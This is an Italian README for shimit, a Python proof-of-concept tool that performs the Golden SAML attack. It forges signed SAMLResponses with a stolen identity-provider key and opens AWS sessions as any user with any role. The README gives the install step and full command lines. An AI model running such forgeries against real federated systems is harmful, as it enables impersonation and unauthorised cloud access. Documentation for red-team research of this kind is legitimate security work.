
Uno strumento che implementa l'attacco Golden SAML.
shimit è uno strumento Python che implementa l'attacco Golden SAML. Maggiori informazioni possono essere trovate nel seguente articolo sul nostro blog.
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
██╗ ███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╗ ██╗
██╔╝ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ██╔╝ ╚██╗
██╔╝ ███████╗███████║██║██╔████╔██║██║ ██║ ██╔╝ ╚██╗
╚██╗ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ██╔╝ ██╔╝
╚██╗ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██╔╝ ██╔╝
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
In un attacco Golden SAML, gli aggressori possono ottenere l'accesso a un'applicazione (qualsiasi applicazione che supporti l'autenticazione SAML) con qualsiasi privilegio desiderino e impersonare qualsiasi utente nell'applicazione target.
shimit consente all'utente di creare un oggetto SAMLResponse firmato e utilizzarlo per aprire una sessione nel Service Provider. shimit ora supporta la Console AWS come Service Provider, altri sono in arrivo...
Dopo aver generato e firmato l'assertion del SAMLResponse, shimit chiamerà l'API AssumeRoleWithSAML() in AWS. Quindi, il token di sessione e la chiave verranno applicati a una nuova sessione, dove l'utente può usare aws cli per eseguire azioni utilizzando i permessi ottenuti tramite il golden SAML.
Per installare i moduli richiesti, esegui il seguente comando:
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
Deve essere installato per poter utilizzare le credenziali ottenute. Può essere scaricato per Windows o Linux da questi link.
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
idp - URL del Provider di Identità, es. http://server.domain.com/adfs/services/trust
pk - Percorso completo del file della chiave privata (formato pem)
c - Percorso completo del file del certificato (formato pem)
u - Nome utente e dominio, es. dominio\nomeutente (usa \ o virgolette in *nix)
n - Nome della sessione in AWS
r - Ruoli desiderati in AWS. Supporta più ruoli; verrà assunto il primo specificato.
id - ID account AWS, es. 123456789012
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o - Output del SAMLResponse codificato in un percorso file specificato
python .\shimit.py -l saml_response.xml
l - Carica SAMLResponse da un percorso file specificato
shimit al momento supporta AWS come service provider, come POC. Ti incoraggiamo vivamente a contribuire con nuovi moduli per altri service provider.